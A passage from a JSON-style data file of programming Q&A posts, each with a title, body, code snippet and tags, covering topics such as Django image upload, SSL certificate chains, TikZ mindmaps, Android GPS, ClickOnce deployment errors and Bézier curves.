| \u00a320.00\n25/09/11 | 222222222 | \u00a330.00\n11/11/11 |
111111111 | \u00a340.00\n01/04/11 | 333333333 | \u00a310.00\
n31/03/11 | 333333333 | \u00a333.00\n20/03/11 | 111111111 | \
u00a3667.00\n21/11/11 | 222222222 | \u00a3564.00\n", "microsoft-excel
automation spreadsheet"], "3527151": ["Uploading Image Using JQuery And Django",
"Before you continue reading, trust me when I say I have read all the other posts
on this subject, and none of them helped.\nI am trying to add image upload
functionality to my website. I want to upload the image\nvia an ajax post. I cannot
get this working.\nHere is what I have:\nHTML - i have a special setup so that an
image is displayed instead of a stupid button \nand the text field. I am also using
the onChange event to automatically submit when I have hit \"OK\" after selecting
the image.\n\nJquery:\n\nFinally my django view that is hit when you post to
/api/upload_image/\n\nI have tried to write the image to binary, but I cannot open
that data that has written.\nWhy is uploading an image using javascript so hard? I
am an idiot and just not using a simple solution? If so, please tell me what is the
best way to use jQuery to upload an image in Django.\n", "<form id=\"add-picture-
form\" method=\"POST\" action=\"/api/upload_image/\" enctype=\"multipart/form-
data\">{% csrf_token %} \n <div class=\"thumbnails\" style=\"width:400px;\">\n
<label class=\"cabinet BrandHeader\"> \n <input type=\"file\"
class=\"file\" id=\"upload-photo\" onChange=\"$('#add-picture-form').submit();\" />
\n </label> \n </div>\n</form> \n", "jquery ajax django jquery-ajax"],
"615832": ["How does IE/Chrome know which Intermediate CA to use when not part of
chain?", "A server on my network is signed with a certificate issued by RapidSSL CA
but does not supply to complete issuer chain (RapidSSL CA's certificate is issued
by GeoTrust CA which is a trusted root authority). \nWhen I access the site using
firefox I get the following error:\n\nBut if I connect to the site using IE or
chrome it works and I noticed that RapidSSL is then loaded as a Intermediate CA
afterwards. I don't understand how Chrome/IE (I assume it uses the Windows
Certificate store) knows to add RapidSSL as intermediate CA.\nI get the expected
behaviour (according to me) when I use to debug the connection. \nI get the
following when only using GeoTrust as CA:\n\nUsing only RapidSSL as CA:\n\nWhen
using both:\n\nCan anyone help me understand how Windows knows to load RapidSSL CA
as intermediate authority?\n", "The certificate is not trusted because no issuer
chain was provided.\n(Error code: sec_error_unknown_issuer)\n", "windows ssl ssl-
certificate certificate-authority"], "1732636": ["How to compile SDL program and
run it without DLL", "is it possible to compile SDL library program into exec and
run it without having \"sdl.dll\"?\nfor example let say i wrote sdl program and it
works and everything but the thing is to run the program on windows, i need to have
\"sdl.dll\" within the same folder or system folder. is it possible to compile it
so that i can just take the exec with me without needing to have \"sdl.dll\" along
with it?\ni am using visual studio 2010 express.\n", "", "sdl exe dynamic-linking
static-linking"], "636690": ["hierarchy query sql server 2008", "\nCan you help me
with sql to get the employee plus managers up the chain?\nIn this example the
results would be\n\n", "EmployeeId, Name, ManagerId\n1,Mac Manager, null\n2,Sue
Supervisor, 1\n3,Earl Employee, 2\n4,Sam Supervisor, 1\n5,Ella Employee, 4\n\
nGiven: Employee Id = 3\n", "sql-server-2008"], "4907559": ["Scaling tikz mindmaps
within a beamer frame", "I recently discovered tikz and I fell in love with it!
However, I am having some annoying issues when I try to include a tikz mindmap in
beamer. Problem is that I can't manage to have the mindmap scaled to the beamer
slide size. Below is my code, see attached image for my output. Thanks!\n\n\n", "\\
documentclass[8pt,T]{beamer} \n\\usepackage{comment} \n\\usepackage{graphicx}\n\\
usepackage{tikz}\n\\usetikzlibrary{mindmap,trees, backgrounds}\n\n\\
useoutertheme{tree}\n\\useinnertheme{rectangles}\n\\setbeamercolor{normal text}
{fg=white}\n\\setbeamercolor{background canvas}{bg=black}\n\\
setbeamercolor{frametitle}{fg=white}\n\\setbeamercolor{frametitle}{bg=black}\n\\
setbeamercolor{block body}{fg=black}\n\\setbeamercolor{alertblock body}{fg=black}\
n\\setbeamertemplate{blocks}[default]\n\\usecolortheme[named=orange]{structure}\n\\
usetheme{Antibes}\n\n\\title{Bla bla}\n\\author{George Azzari}\n\n\\
begin{document}\n\\section{Introduction}\n\\begin{frame}\n\\centering\n\\
begin{figure}[h]\n\\makebox[\\textwidth][c]{\n\\begin{tikzpicture}\n%%%%%%%%%%%%%%%
CANOPY STRUCTURE\n \\path[mindmap,concept color=green!50!black, text=white]\n\n
node[concept](struct) at (0,0){Canopy Structure}\n child[grow = -45,
concept color = orange]{\n node[concept](light){Light Interception}\n
[clockwise from = 20]\n child{node[concept](alb) {Shortwave
albedo}}\n child{node[concept](lw){Longwave Emissivity}}\n
child{node[concept](shade){Shading}}\n }\n
%----------------------------------------------------------\n child[grow
= 45, concept color = green!50!yellow!70!black]{\n node[concept]
(func){Ecosystem Function}\n [counterclockwise from = -20]\n
child{node[concept](massflu) {Mass Fluxes}}\n
child{node[concept](biom) {Biomass}}\n child{node[concept](prod)
{Production}}\n child{node[concept](comp) {Competition}\n
child{}}\n }\n
%----------------------------------------------------------\n child[grow
= 0, concept color = blue!60!white]{\n node[concept](rough) at
(0.5,0){Turbolence}\n child[grow = 20]{node[concept](lh){Latent
Heat}}\n child[grow = -20]{node[concept](sh){Sensible Heat}}};\n
%----------------------------------------------------------\n\n%%%%%%%%%%%%
ATMOSPHERE\n \\path[mindmap,concept color=blue!80!white!60!green, text=white]\n
node[concept](atmos) at (12,4){Atmospheric Exchanges};\n\n%%%%%%%%%%%% ENERGY\n \\
path[mindmap,concept color=red!50!black, text=white]\n node[concept](energy) at
(12,-4){Surface Energy};\n\n%%%%%%%%%%%%% MAKING SECONDARY CONNECTIONS \n \\
newcommand{\\conngreentoorange}{to[circle connection bar switch color=from (green!
50!yellow!70!black) to (orange)]}\n \\newcommand{\\connredtoorange}{to[circle
connection bar switch color=from (red!50!black)
to (orange)]}\n \\newcommand{\\connredtoblu}{to[circle connection bar switch
color=from (red!50!black) to (blue!60!white)]}\n \\newcommand{\\connazuretoblu}
{to[circle connection bar switch color=from (blue!80!white!60!green) to (blue!60!
white)]}\n \\newcommand{\\connazuretogreen}{to[circle connection bar switch
color=from (blue!80!white!60!green) to (green!50!yellow!70!black)]}\n \\
newcommand{\\connazuretored}{to[circle connection bar switch color=from (blue!80!
white!60!green) to (red!50!black)]}\n \\newcommand{\\connblutogreen}{to[circle
connection bar switch color=from (blue!60!white) to (green!50!yellow!70!black)]}\n
\\begin{pgfonlayer}{background}\n %\\draw [circle connection bar ]\n \\path
(func) \\conngreentoorange (light);\n \\path (energy)\\connredtoorange (alb);
\n \\path (energy)\\connredtoorange (lw);\n \\path (energy)\\connredtoblu
(sh);\n \\path (energy)\\connredtoblu (lh);\n \\path (atmos) \\
connazuretoblu (lh);\n \\path (atmos) \\connazuretoblu (sh);\n \\path
(atmos) \\connazuretored (energy);\n \\path (atmos) \\connazuretogreen
(massflu);\n \\path (lh) \\connblutogreen (massflu);\n \\end{pgfonlayer}\n\\
end{tikzpicture}}\n\\end{figure}\n\\end{frame}\n\\end{document}\n", "tikz-pgf
beamer scaling mindmaps"], "3434456": ["Linq2Sql: Detect if entity is attached to a
datacontext", "I've a procedure where I need to save a entity object. The problem
is that I don't know if this entity is attached to my datacontext or not. To solve
this I use the following code:\n\nI'm looking for a better method to detect if an
entity belongs to a context and also to test if an entity is attached to a specific
context. \n", " try\n {\n db.ClientUsers.Attach(clientUser);\n
db.Refresh(RefreshMode.KeepCurrentValues, clientUser);\n }\n finally { }\n\n
db.SubmitChanges();\n", "c# linq-to-sql"], "5081281": ["Does Stack Overflow's
pretty print engine and editor exist as a plugin to WordPress?", "I really like the
editor and the pretty print functionality in Stack Overflow. Is there a plugin to
use the editor and pretty print functionality in WordPress?\nThe simplicity and the
look is at least as good as any other plugin I tried.\n", "", "wordpress wordpress-
plugin stackoverflow.com"], "2447572": ["How do I prevent a section heading from
being the last line on a page?", "In a latex document I have got a section heading
as the last line on a page, followed by the section content on the following page.
How do I prevent this page shift between section heading and section content?\n",
"", "sectioning page-breaking"], "4415900": ["Display GPS location on screen -
Android", "I'm following the guide here:
http://www.firstdroid.com/2010/04/29/android-development-using-gps-to-get-current-
location-2/\nI'm trying to make an android app that simply gets the devices GPS
coordinates and display them on the screen. My code works fine in the emulator when
I telnet to it and type \"geo fix 30.0 30.0\", but when I use it on my phone, it
never gets the coordinates. My GPS is working fine, as I opened up Maps and it had
my exact location. So something must be wrong with the following code:\n\nHere is
my manifest:\n\nMaybe if it's not too much trouble, someone could build this
project and try it on their phone? All that needs be to added is labelling the only
textview to \"textview\".\n", "import java.io.IOException;\n\nimport
android.app.Activity;\nimport android.content.Context;\nimport
android.location.Location;\nimport android.location.LocationListener;\nimport
android.location.LocationManager;\nimport android.os.Bundle;\nimport
android.util.Log;\nimport android.widget.TextView;\nimport android.widget.Toast;\n\
npublic class BusAppActivity extends Activity {\n /** Called when the activity
is first created. */\n @Override\n public void onCreate(Bundle
savedInstanceState) {\n super.onCreate(savedInstanceState);\n
setContentView(R.layout.main);\n /* Use the LocationManager class to obtain
GPS locations */\n LocationManager locManager =
(LocationManager)getSystemService(Context.LOCATION_SERVICE);\n
LocationListener locListener = new MyLocationListener();\n
locManager.requestLocationUpdates( LocationManager.GPS_PROVIDER, 0, 0,
locListener);\n }\n\n /* To test in the emulator, use the telnet commands:\n
* telnet localhost 5554\n * geo fix 30.0 30.0 */\n\n /* Class My Location
Listener */\n\n public class MyLocationListener implements LocationListener\n
{\n TextView tv = (TextView) findViewById(R.id.textview);\n\n
@Override\n public void onLocationChanged(Location loc){\n
Log.d(\"tag\", \"Finding Latitude\");\n double lat = loc.getLatitude();\
n Log.d(\"tag\", \"Lat: \"+String.valueOf(lat));\n
Log.d(\"tag\", \"Finding Longitude\");\n double lon =
loc.getLongitude();\n Log.d(\"tag\", \"Lon: \"+String.valueOf(lon));\n
String Text = \"My current location is: \" +\n \"\\nLatitude = \" + lat
+\n \"\\nLongitude = \" + lon;\n\n // Display location\n
tv.setText(Text);\n }\n\n @Override\n public void
onProviderDisabled(String provider){\n
Toast.makeText(getApplicationContext(), \"Gps Disabled\",
Toast.LENGTH_SHORT ).show();\n }\n\n @Override\n public void
onProviderEnabled(String provider){\n
Toast.makeText(getApplicationContext(), \"Gps Enabled\",
Toast.LENGTH_SHORT).show();\n }\n\n @Override\n public void
onStatusChanged(String provider, int status, Bundle extras){\n\n }\n }\
n}\n", "java android gps android-sdk-2.2"], "5027300": ["How do I find out the
device node corresponding to my device in SuSE 8?", "I'm forced to work with a
bunch of point-of-sale systems running SuSE 8. They are my client's computers. We
are stuck dealing with these old systems until they get to upgrade their whole
fleet to SLE 11.\nThe problem: the system now has two devices that compete for the
ttyUSB* character device nodes. They have different vendor ID and product ID. SuSE
8 doesn't have udev, it has devfs instead.\nKnowing the device's vendor ID and
product ID, and the kernel module responsible for the device (it's the ipaq kernel
module), how do I find out what character device node it has been assigned to, in a
way that it can be stored in a string (e.g. $DeviceNode) in a POSIX shell script?\
nRight now, I'm doing it in a really really dumb way in my shell script:\n\nSo I
get, for instance\n\nOf course, one of the problems is that the device may have
already been unplugged and I wouldn't be able to tell with this na\u00efve method.\
nIs there any better way?\nEDIT:\nSo I found this article this morning. Can I
assume that, in /proc/tty/driver/usbserial, from the 2nd line onward, the first
number of each line is the minor number of one of the ttyUSBx?\nEDIT 2:\nAn
alternate (and perhaps better) solution would be to get persistent node association
(e.g. always getting a device with a known vendor ID and a known product ID to be
associated with ttyUSB1). Is that achievable in devfs?\n", "DeviceNode=$(dmesg |
tac | grep \"PocketPC PDA converter now attached to\" | set -n 's/.*now attached to
\\([[:alnum:]]\\{1,\\}\\).*/\\1/p')\n", "linux usb devices suse"], "2161561":
["RavenDB: Add auto increment to other property than ID", "Is there a way to put an
attribute on a property to tell RavenDB to use this property just like the ID-
property and put an auto increment on it?\nPseudo-code:\n\n", "public class MyObj
{\n public string Id { get; set; }\n [Increment]\n public int OtherProp
{ get; set; }\n}\n", "ravendb auto-increment"], "3668564": ["WinForm Deployment
Error", "I have an error when I try to install my click-once application. I have
created a test certificate and published my application with visual studio 2010.
when i install the application, I get this error...\n\nCOMPONENT STORE TRANSACTION
DETAILS\n No transaction information is available.\nThe error is from
system.deployment.application.invaliddeploymentexception. Does anybody have any
idea what I should do or what this means? THanks!\n", "ERROR DETAILS\nFollowing
errors were detected during this operation.\n* [7/24/2011 12:09:32 PM]
System.Deployment.Application.InvalidDeploymentException (RefDefValidation)\n -
Reference in the manifest does not match the identity of the downloaded assembly
Wincent Warehouse Management Studios.exe.\n - Source: System.Deployment\n -
Stack trace:\n at
System.Deployment.Application.DownloadManager.ProcessDownloadedFile(Object sender,
DownloadEventArgs e)\n at
System.Deployment.Application.FileDownloader.DownloadModifiedEventHandler.Invoke(Ob
ject sender, DownloadEventArgs e)\n at
System.Deployment.Application.SystemNetDownloader.DownloadSingleFile(DownloadQueueI
tem next)\n at
System.Deployment.Application.SystemNetDownloader.DownloadAllFiles()\n at
System.Deployment.Application.FileDownloader.Download(SubscriptionState subState)\n
at
System.Deployment.Application.DownloadManager.DownloadDependencies(SubscriptionStat
e subState, AssemblyManifest deployManifest, AssemblyManifest appManifest, Uri
sourceUriBase, String targetDirectory, String group, IDownloadNotification
notification, DownloadOptions options)\n at
System.Deployment.Application.ApplicationActivator.DownloadApplication(Subscription
State subState, ActivationDescription actDesc, Int64 transactionId, TempDirectory&
downloadTemp)\n at
System.Deployment.Application.ApplicationActivator.InstallApplication(SubscriptionS
tate& subState, ActivationDescription actDesc)\n at
System.Deployment.Application.ApplicationActivator.PerformDeploymentActivation(Uri
activationUri, Boolean
isShortcut, String textualSubId, String deploymentProviderUrlFromExtension,
BrowserSettings browserSettings, String& errorPageUrl)\n at
System.Deployment.Application.ApplicationActivator.ActivateDeploymentWorker(Object
state)\n", "visual-studio-2010 deployment software-engineering"], "5331856":
["BinaryTree default class", "My teacher told us that there is a default class in
Java for binary tree. I found this
http://www.bearcave.com/software/java/misl/BinaryTree/jdoc/BinaryTree.html and I
try to declare a BinaryTree object, but I didn't write something good.\nHow can I
declare a BinaryTree using this class and which library should I include?\nThanks.\
nLATER EDIT:\nI wrote somthing like this:\nprivate BinaryTree c=new BinaryTree();\
nbut it says that BinaryTree cannot be resolved to a type.\n", "", "class tree
binary default"], "2129984": ["JSTL/JSP dynamic form page state", "Working on a
large Web app, I have houndresds of JSPs.\nEach JSP includes (ONLY) a set of
internal tags, for instance:\n\nThis tag is rendered into an HTML input field, with
a readonly/enabled state, based on the return value from getPageState().\nThis
basically allows me to set the complete page as enabled/disabled from a single
entry point.\nI don't like this (mainly because it drives me away from writing the
HTML I want and I need to maintain attributes for each HTML attribute I want), I
know I can something similar on client side with JavaScript. \nAre there other
approachs to control the state of a complete JSP form in a single point on the web-
server side?\n", "<AAA:INPUT value=\"bbb\" state=\"<%=getPageState()\"/>\n", "java
jsp jstl taglib"], "5275519": ["Advantage of having a secondary DNS next to
client's country?", "We are considering moving one of our two DNS our clients use
to the country where 90% of them live (the other will stay in the US).\nDo you
think they'll notice an advantage of site loading performance? Even if it's small,
we would like to know if going forward with this change will help in any way or if
it's pretty useless.\n", "", "dns ip nameserver geolocation"], "3484896": ["hg
command unknown error", "\nRecently I got a problem with hg that I can't even check
the status of modification file. I got the error as below :\n\n\n",
"sokmesa@sokmesa-laptop:/var/www/my_project$ hg st\n\nTraceback (most recent call
last):\n File \"/usr/lib/python2.7/site.py\", line 562, in <module>\n main()\n
File \"/usr/lib/python2.7/site.py\", line 544, in main\n known_paths =
addusersitepackages(known_paths)\n File \"/usr/lib/python2.7/site.py\", line 271,
in addusersitepackages\n user_site = getusersitepackages()\n File
\"/usr/lib/python2.7/site.py\", line 246, in getusersitepackages\n user_base =
getuserbase() # this will also set USER_BASE\n File
\"/usr/lib/python2.7/site.py\", line 236, in getuserbase\n USER_BASE =
get_config_var('userbase')\n File \"/usr/lib/python2.7/sysconfig.py\", line 558,
in get_config_var\n return get_config_vars().get(name)\n File
\"/usr/lib/python2.7/sysconfig.py\", line 438, in get_config_vars\n import re\n
File \"/usr/lib/python2.7/re.py\", line 105, in <module>\n import sre_compile\n
File \"/usr/lib/python2.7/sre_compile.py\", line 14, in <module>\n import
sre_parse\n ValueError: bad marshal data (unknown type code)\n", "mercurial"],
"1903838": ["need help with session variables", "I'm trying to set a session
variable and use it on another page.\nI have: pg1\n\nThen on page two I have.\n\
nBut when I use JC to alert this out I get nothing..\nAm I doing this wrong?
Thanks.\n", "session_start();\n$_session['sessionID'] = $row['ID'];\n", "php
session-variables"], "4179109": ["Sharepoint Document Library Schema.xml
Customization", "Hi I am trying to add a custom field to the Schema.xml of Document
library in sharepoint \nhere is the code that I took from a blog \n\nIn the ID i
have to put the guid to do so \ndo I have to add my own guid or do i have to query
the sharepoint database and find the guid and paste it there...\nIf i have to get
it from sharepoint database which database and in what table I will find this
information....\nany help will be greatly appreciated\nThanks,\nsrikrishna. \n",
"", "sharepoint document customization"], "3539602": ["Remove repeated values from
dataGridViewComboBoxColumn", "I use to make a combobox in dataGridBiew but my
combobox isn't good enough. I need my combobox to not have repeated values on it.
This is an example:\n\nApple\nBlackberry\nChrome\nApple\n\nI want to remove the
values that appear more than one time. How can I do that?\nThis is my code:\n\
nthanks for your advice :) I have been trying to solve it for 3 days :(\n",
"dataGridViewComboBoxColumn", "datagridview combobox distinct
datagridcomboboxcolumn"], "3900517": ["Allowing content to be loaded from http onto
https site", "I'm developing a site and the development site is https ( it's on
squarespace ). The production site is just regular http. On the site I'm using
jsonp to pull in some data from an http domain, and the problem is the content is
being blocked and the page can't be seen in it's entirety on the development site.
I've pulled these chunks out and put them on my own server to test but like I
mentioned it would be great to test the site in it's entirety. I tried passing
chrome some arguments but that didn't work and using an unsigned certificate also
failed in chrome. It worked on an android phone after clicking I don't care that
the site loads insecure content. Is there a standard compliant desktop browser that
I can just load the content in regardless? Do I have to do anything special to get
it to ignore the insecure data?\nThanks in advance.\n", "", "http https jsonp"],
"3192032": ["What should a hosting company do to prepare for IPv6?", "At the time
of writing The IPv4 Depletion Site estimates there are 300 days remaining before
all IPv4 addresses have been allocated. I've been following the depletion of IPv4
addresses for some time and realize the \"crisis\" has been going on for many years
and IPv4 addresses have lasted longer than expected, however...\nAs the systems
administrator for a small SaaS / website hosting company, what steps should I be
taking to prepare for IPv6? We run a handful of CentOS and Ubuntu Linux systems on
managed hardware in a remote datacenter. All our servers have IPv6 addresses but
they appear to be link local addresses.\nOur primary business function is website
hosting on a proprietary website CMS system. One of my concerns is SSL
certificates; at the moment every customer with an SSL certificate gets a dedicated
IPv4 IP address. What else should I be concerned about / what action should I take
to be prepared for IPv4 depletion?\n", "", "linux ipv6"], "3484895": ["Encrypting
email in C# using PGP public key", "\nPossible Duplicate:\nC# How to simply encrypt
a text file with a PGP Public Key? \n\nI want to encrypt and send an email in C#
using PGP key. I have only the public key and I don't want to use the private key
(since I don't need to sign the message). Can you provide any example or link on
how to do this? I've seen posts explaining how to sign texts using PGP but not
emails.\nI know about Bouncy Castle library but I don't know how to use it for
email messages.\n", "", "c# email privatekey publickey pgp"], "1944729": ["How do I
retreive the actual query directly from a ADODB.Recordset?", "I'm using a command
to create a new record set:\n\nOnce the rsQuery.open command is performed, how do I
determine which query was fired by only looking at the Recordset or rsQuery object?
The reason I need to do this is b/c I may have many case statement that open a
querystring based on a case. Not only do I want the result from the query, I just
want to print out the query without having to create a response.write command for
each query command.\nexample:\n\netc...\nDesired Result:\nresponse.write \"My
Result:\" & rsQuery.Query?\n\nThanks.\n", "set rsQuery =
Server.CreateObject(\"ADODB.Recordset\")\n", "asp-classic ado"], "1233089": ["Pass
NSString in Xcode settings", "I would like to know if it's possible to retrieve in
my code different NSString declared in my Xcode scheme or project setting ...\
nWould be useful if a client have to request some secret URL. He just have to
modify the schemes or settings.\n", "", "ios compiler nsstring"], "17920": ["Make
GRUB 2 boot Windows 8 safe mode", "I have a dual boot configuration: Windows 8
Consumer and Ubuntu 11.10.\nI tried to install the Asus drivers for my motherboard
(P8Z68-V LE EFI) in windows 8, and i now get bluescreens when starting windows.\
nHolding F8 or Shift-F8 doesn't seem to be working, so is there another way to get
into Safe Mode, or uninstall the errant driver?\nI need to get into Safe Mode in
windows to fix the issue. \nThings I have tried:\n\nDisabling overclock\nHolding F8
or Shift+F8\nHow can i get GRUB 2 to boot windows 8 in safe mode?\n\nOr is there
another way to disable a driver that is making it impossible to boot?\n", "", "bsod
windows-8-preview ubuntu-11.10 grub2"], "5146325": ["Best way to display rounded
corner image with sprite", "I need to display image with rounded corner with
sprite. What is the best way to do this.\n", "", "directx sprite"], "837295": ["C#
How to sort a List of Strings using lambda expression depending upon a subset of
characters inside each item", "I have a List of Strings which are the names of
records. An example:\n\nSometimes, I want to delete a record. For recording
purposes, I do not delete the String. I alter it by adding the word _Deleted to
the end such as this:\n\nMy question is this:\nHow can I keep my List of Strings in
alphabetical order, WHILE putting all of the _Deleted records at the bottom?\nAn
intended result would look like (with a new example data set):\n\nNote that my list
is in alphabetical order, but the strings that
contain \"_Deleted\" are at the bottom. \nI wish to use Lambda Expression, because
I already can alphabetize a list using something like this:\n\nAnd I find the one
line expressions to be rather slick.\nAny thoughts or comments are much appreciated
to anyone who may have them!\n", "Record_One\nRecord_Two\nRecords_Three\n", "c#
list sorting lambda"], "4057068": [":not(:empty) CSS selector is not working?",
"I'm having a hell of a time with this particular CSS selector which does not want
to work when I add to it. It seems to work fine with any combination of the other
selector...\nThe particular selector I'm trying to use is this:\n\nAs stated, if I
simply remove the part, it works just fine. Even if I change the selector to just
it still won't select input fields which have text typed into them. Is this broken
or am I just not allowed to use within a selector?\nThe only other thing I can
think of is that browsers are still saying that the element is empty because it has
no children, just a \"value\" per say. Does the selector not have separate
functionality for an input element vs a regular element? This doesn't seem probable
though because just using on a field and typing something into it will cause the
alternate effects to go away (because it is no longer empty).\nP.S. Tested in
Firefox 8 and Chrome.\n", ":not(:empty)", "css css3 css-selectors"], "5654505":
["CLASSPATH, Java Buld Path (eclipse), and WEB-INF\\LIB : what to use, when, and
why?", "I recently switched to J2EE from .NET, and am confused about where to put
JAR files. I know that the CLASSPATH, WEB-INF, and Eclipse's Java Web Path are all
places where JARs can be stored, but I'm confused about which folder to use, when,
and why.\nFirst off, we have the CLASSPATH. I usually set this by going
into \"Environment Variables\" inside \"My Computer.\" I know that this is the
default place where the Java compiler looks for JAR files. When I add a folder or
a JAR to my CLASSPATH environment variable, why is it ignored by Eclipse, the Java
compiler, and the web server?\nAlso, I know that WEB-INF\\LIB is a place where you
can put JAR files that your web app is going to use. However, I've put JARs in
WEB-INF\\LIB only to have them be ignored. In what situations should I put JARs
into WEB-INF\\LIB folder? How do I get Eclipse or the web server to notice them?\
nSo far, the only thing that works for me is to actually change the Java Build Path
for an Eclipse project. I'll select the JARs I need and hit \"Add External JARs.\"
Most of the time when I do this, Eclipse will recognize my JARs and read the
classes therein. However, I've run into a bunch of weird random errors while doing
this (mostly having to do with dependencies, I think). For some reason, I just get
the feeling that this isn't the right way to do things, and that I'm missing some
vital piece of information. When should I be manually Adding External JARs inside
Eclipse, and when should I be doing things differently? How come Eclipse's Java
Build Path doesn't seem to know about the folders in my CLASSPATH environment
variable?\nReally, I would just like to gain a better understanding of the
CLASSPATH, Eclipse's Java Build Path, and the WEB-INF/LIB folder -- the purposes
they serve, the relationships between them, and where I should be putting my JARs
in various situations. I would appreciate any advice you could give me, or any
articles that you could recommend.\nThank you.\n", "", "java eclipse java-ee jar
classpath"], "3484894": ["No mouse, no keyboard, no network on Virtual SBS 2008
(Hyper-V)", "I am trying to convert a physical SBS 2008 to virtual with Hyper-V
2012. \nEverything seems fine (the VM boots quickly - 5 minutes) until I reach the
welcome screen asking me to press CTRL-ALT-DEL. Then, I can't do anything: \n\nIf I
connect on the VM from Hyper-V manager, the keyboard is non responsive and the
mouse doesn't move.\nI cannot connect with remote desktop or ping the virtual
machine. According to the Hyper-V manager, it doesn't have an IP.\n\nTo setup my
VM, I did the following:\n\nCreated a VHD file with disk2vhd\nCreated a VM with the
default settings\nRemoved the SCSI adapter from the VM\nReplaced the Virtual
Network Adapter with a legacy one. It is connected to a virtual switch with
external connectivity.\n\nI have tried many things like changing the settings of
the virtual switch, disabling dynamic memory or leaving the virtual machine running
1.5h (maybe it is doing something in the background, who know ?). \nBut, still, my
virtual SBS is mocking me: it even switches to the screensaver after a few
minutes!!! (the one with the windows logo on a black background). \nDoes anyone
have an idea of what I am doing wrong here? It is driving me crazy!!\n", "",
"hyper-v windows-sbs-2008"], "2794314": ["How to recreate inadvertently
deleted \"MySite\" with \"My profile\" in Sharepoint Server 2010?", "I
inadvertently deleted \n\n\"My Site\" \n_http://sptest/my/\n\nwith entry for \n\
nMy Profile\n_http://sptest/my/Person.aspx?accountname=i%3A0%23%2Ew%7CMyDomain
%5CMyUserName \n\n\nThis results that anywhere in SP site where appear my
UserName entry link (for example, Sharepoint's security groups), it results
in \"404 NOT FOUND\" page. \nMeanwhile my data are present in \"My Settings\" and,
I guess, \"My Site\" was generated by Sharepoint during setup.\nHow can I
recreate/regenerate \"My site\"? \n", "", "2010 administration central-
administration installation farm-setup"], "1653311": ["IEnumerable FirstOrEmpty
Extension", "Problem\nI am looking for a way to implement for a where X
implements . Basically, if the predicate does not match anything, return . I do
not want to constrain the source parameter to or because I might want to pass in
something that implement (e.g. ).\nUsage Example\n\nOld way:\n\nAttempts\nAttempt
1:\n\nAttempt 2:\n\n", "FirstOrEmpty", "c# generics extension-methods covariance"],
"4402853": ["Is there a service that returns me HTTP Response codes on demand?",
"Is there a service out there that will give me HTTP Response codes for what I tell
it to?\nFor development purposes I want to see how my client responds to different
response codes so I need to invoke those on a reliable basis. For example, I need
to test what my client does with a 503 error but I have to go searching for those.
\nfor example if i hit\nhttp://somecoderesponder.com/?code=503\nit would give me an
HTTP 503 response and \nhttp://somecoderesponder.com/?code=200\nwould give me HTTP
200\ndoes something like this exist or am i stuck trying to digging around for the
response codes I need to test?\n", "", "web-services http httpresponse"],
"2179667": ["In Ruby what does the line \"class ClassName < Base\" mean in this
context", "Given the code \n\nWhat does it mean when we say \"< Base\", does it
mean inheriting from the Base class defined in the module gdata, in that case
wouldn't there be a conflict with some other module that may be required too.\nOr
does it mean something else?\n", "require 'gdata'\n\nclass Contacts\n class Gmail
< Base\n", "ruby class inheritance module base"], "655778": ["SSH key does not work
from a remote shell", "I've come across an interesting problem and I literally
don't know where to start looking to resolve it!\nThe VCS machine in our office is
running gitweb and my public key is on this machine fine. I can access the
repositories from my machine without any problems, using my key.\nHowever, if I am
on any kind of remote shell, key authentication does not work! It falls back to
password authentication, but the git user is configured to not have a password, so
this is no good!\nI have confirmed the problem by SSHing into another machine in
the office and from there back into my machine. Also, by physically using another
machine to SSH into my machine and even by going through a VPN to access my machine
from a different network. In all cases, authentication with the git server fails
although they are identical commands to those I run locally.\nMy first reaction was
that gitosis (which automatically handles the keys) was misconfigured. It does
include a number of additional security options on the keys:\n\nHowever, the
problem is confined to me - other machines seem to be able to authenticate without
a problem whether the shell is remote or local, which suggests that it is my SSH
that is misconfigured. I did change the default port away from 22 by editing but
everything else should be at the default values. It's possible someone else has
edited the config, so any things to look out for would be appreciated!\nMy machine
is running Ubuntu 9.04 (obviously, upgrading might be a solution). Really, I'm just
after a starting point - something to google for to resolve the problem. If this is
something simple that someone has come across before then that's fantastic but as I
say, I'm really at a loss for now!\nThanks in advance!\n", "no-port-forwarding,no-
X11-forwarding,no-agent-forwarding,no-pty\n", "ssh public-key gitosis"], "3052134":
["How to derive the equation for a b\u00e9zier curve", "So, I remember a while back
there was a maths competition and we were given a curve that we needed to write an
equation for. I just skipped the question since I didn't even know where to begin.
I remember it was one among the last few questions of the paper and it was worth a
lot of points.\nI don't really remember what the curve looked like; it was
something spirally, but I can't recall it to save my life right now.\nSo, I drew
this curve in Inkscape (it's a B\u00e9zier curve. Or a few of them linked together,
according to Wikipedia. If it's required I will post the whole path). And I would
like to write the equation for it (with someone's help, obviously).\n\n\nI was
always a bit shit bad with curves, graphs and lines, but I want to understand them
better. So, I was hoping
someone could explain the process of deriving the equation for a curve.\nP.S: I'd
like it if you could use another curve (it can be something simpler, but try
avoiding something overly complicated) so I can crack this one on my own, but if
you feel like using this curve as an example I won't mind.\n\nEDIT\nSo have been
browsing the internet, read a few Wikipedia entries about Bazier curves, and I
understand how they're drawn (mostly the GIFs helped, haha), but I am still stumped
when it comes to mathematically representing a B\u00e9zier curve. Also, I will add
this image, which is the path and its control points (at the end of the blue lines;
I didn't paint them in):\n\nAnd also, the contents of the .tex file for the shape.\
n\nThanks!\n", "%LaTeX with PSTricks extensions\n%%Creator: 0.48.2\n%%Please note
this file requires PSTricks extensions\n\\psset{xunit=.5pt,yunit=.5pt,runit=.5pt}\
n\\begin{pspicture}(451.46875,34.25392151)\n {\n \\newrgbcolor{curcolor}{1 0 0}\
n \\pscustom[linewidth=3,linecolor=curcolor]\n {\n \\newpath\n \\
moveto(450.48448,1.10834551)\n \\curveto(404.89404,41.45133951)
(333.34998,42.21654151)(281.90128,9.03018551)\n \\curveto(258.09407,-6.32636849)
(228.42388,9.91159551)(202.75741,15.38398551)\n \\curveto(145.68728,27.55199551)
(85.852286,40.32786151)(28.08402514,26.23698551)\n \\
curveto(18.5710181,23.91656551)(9.403556,20.24334551)(0.681686,15.78116551)\n }\
n }\n \\end{pspicture}\n", "derivatives graph bezier-curve"], "591345": ["My iOS
App target deleted by mistake", "I deleted my App target in iOS by mistake. It made
me get the old version and replace the classes again and build it which is quiet
risky. Is there an easy way to add a target to the app?\n", "", "iphone ios
xcode"], "3484893": ["How do I declare a writable array of constant objects in
C#?", "I need to be able to set the objects in the array, but I don't want to be
